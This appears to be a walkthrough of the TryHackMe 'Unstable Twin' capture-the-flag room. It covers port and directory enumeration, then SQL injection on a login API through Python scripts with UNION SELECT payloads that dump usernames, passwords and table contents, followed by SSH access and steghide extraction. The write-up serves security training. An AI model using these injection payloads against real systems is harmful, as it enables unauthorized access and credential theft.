TryHackMe Unstable Twin Writeup
This writeup aims to guide you through the Unstable Twin box on TryHackMe. The box is considered a medium box. Before we start enumerating the box, add the following line to your /etc/hosts
file.
echo "<box_ip> twin.thm" >> /etc/hosts
TryHackMe Unstable Twin – Enumeration
As per usual, we start by running a port scan on the host using nmap
. The sC
and sV
flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information.
nmap -sV -sC twin.thm
You can see the output of this scan below:
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 3072 ba:a2:40:8e:de:c3:7b:c7:f7:b3:7e:0c:1e:ec:9f:b8 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDP/bNr/nN/6PCa1yFPjA11XH0aZeVg2OMFGyxF3iCBim97a/vA33LYCnDGh7jjSP+wEzu2Xh6whOuRU147tRglKgXMVqMx7GIfBKp92pPnePbCQi6Qy9Sp1hJCIK9Ik2qzYbVOHr6vSJVRGKdZuCDrqip67tHPJSqtDKvuTS8PTcWav17y0IhBrcU2KoGptwml4I/j3RO/aVYblAEKMH0tn9vy59tokTm0CoPXjZCH7KJfL87YAdyacAA6FB2DIFEupf56qGoGNUP9v7AMaF6Uj/5ywDduik/YOdvBR7AVlX2IOaAu4yLRWIh9S4XvlzCB3N+UyQmXRKSzcSyhKXIRJYidCs0SwhCTF+umbmtMAfHghLBz4pkLbhbqrVqkf0GA8wKyG9rX6LSUl6/SwhtAeFPIQxnnP6OHxrcKHy4BooCVNpur5fkioel5VHO90cK0xzlPWGJ8P4HOnDRmLWpyBAmmPjY8BHNB4rLccZLz1e648h7Zs9sFvhjJD8ONgW0= | 256 38:28:4c:e1:4a:75:3d:0d:e7:e4:85:64:38:2a:8e:c7 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH7P2OEvegGP6MfdwJdgVn3xIYEH6LXyzBs5hQ5fPpMZDZdHo5a6J2HR+KShaslzYk83WGNBSJt+hQUGv0Kr+Hs= | 256 1a:33:a0:ed:83:ba:09:a5:62:a7:df:ab:2f:ee:d0:99 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN0pHtBDjHWNJSlxl5M/LfHJztN6HJzi30Ygi1ysEOJN 80/tcp open http syn-ack nginx 1.14.1 | http-methods: |_ Supported Methods: HEAD OPTIONS GET |_http-server-header: nginx/1.14.1 |_http-title: Site doesn't have a title (text/html; charset=utf-8).
There are 2
open ports. On port 22
resides an SSH server, and port 80
servers an Nginx
web server. We start by enumerating the web server. Visiting http://twin.thm/
does not show us any page. We can use gobuster
to find hidden files and directories on the server. Run the following command to find these hidden files and directories.
gobuster dir -u http://twin.thm/ -w /usr/share/wordlists/common.txt
The output of this scan can be seen below.
/info (Status: 200)
Visiting http://twin.thm/info
shows us the following message.
"The login API needs to be called with the username and password fields. It has not been fully tested yet so may not be full developed and secure"
Next, I checked the HTTP header using curl
. You have to run the curl
command with the -I
flag to view the HTTP header.
curl -I http://twin.thm/info
The output is listed below.
HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sat, 01 May 2021 09:39:15 GMT Content-Type: application/json Content-Length: 160 Connection: keep-alive Build Number: REDACTED Server Name: REDACTED
When executed multiple times, this request returns different build numbers and server names. It seems like two servers run on the host. You can observe this by observing the HTTP header for both scans. The next step is accessing the API login endpoint mentioned in the info route. You can do so by executing:
curl -X POST http://twin.thm/api/login
You can see the output message below.
"The username or password passed are not correct."
We just found an API endpoint that needs further exploration.
Finding Users
We do not know any valid credentials to use for the API. However, this room hints that there is a SQL injection in place. First, we have the vulnerable parameter. Craft the following Python script.
import requests sqli = "1'" url = ' http://twin.thm/api/login' data_obj = {"username": sqli , "password": "password"} r = requests.post(url, data_obj) print(r.text)
Run the script (you may have to run the script twice). The exploit is a success due to the following error message:
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.
Now we have to craft a SQL statement to retrieve all usernames. Change the previous script to contain the following lines.
import requests url = 'http://twin.thm/api/login' sqli = "1' UNION SELECT username, password FROM users-- -" data_obj = {'username': sqli, 'password': 'password'} x = requests.post(url, data_obj) print(x.text)
The output of this script will show you multiple usernames. You should now be able to answer the first four questions.
TryHackMe Unstable Twin – User Flag
The next step is finding the SSH password of Mary Ann. However, we first need to find other tables in the database, since the password is not in the users
table. Change the script to the following:
import requests sqli = "1' UNION select 1,tbl_name from sqlite_master -- -" url = 'http://twin.thm/api/login' data_obj = {'username': sqli, 'password': '123456'} r = requests.post(url, data=data_obj) print(r.text)
The output is listed below.
[ [ 1, "notes" ], [ 1, "sqlite_sequence" ], [ 1, "users" ] ]
We now have to find all instances form the notes
table. Craft the following Python script:
import requests sqli = "1' UNION select notes from notes -- -" url = 'http://twin.thm/api/login' data_obj = {'username': sqli, 'password': '123456'} r = requests.post(url, data=data_obj) print(r.text)
The output is listed below.
[ [ 1, "I have left my notes on the server. They will me help get the family back together. " ], [ 1, "My Password is REDACTED\n" ] ]
Using the just-found password we are able to log into the server using SSH.
ssh [email protected]
Provide the just-found password to get access to the server. The user.flag
flag is located at /home/mary_ann/user.flag
.
TryHackMe Unstable Twin – Root Flag
The first file we see is the server_notes.txt
file on the server. This file contains the following lines:
Now you have found my notes you now you need to put my extended family together. We need to GET their IMAGE for the family album. These can be retrieved by NAME. You need to find all of them and a picture of myself!
It seems like we can acquire an image for every user in the API. You can do so by running the following command for every user.
curl http://twin.thm/get_image?name=vincent --output vincent.jpg
Do this for all users in the system. Now that we have obtained all images, you have to use steghide
to find the hidden message for every image. You can do so by running.
steghide extract -sf vincent.jpg
The message from the mary_ann user reads:
You need to find all my children and arrange in a rainbow!
All other messages contain a colour combined with a key. You have to combine these keys in the order: Red – Orange – Yellow – Green. The combined string can be Base62 decoded using: CyberChef and contains the final flag!
This box was fun to root! The box only consisted of a few API endpoints. The user can exploit these endpoints using SQL injections. Despite building an API, you can still implement code that is vulnerable to SQL injections.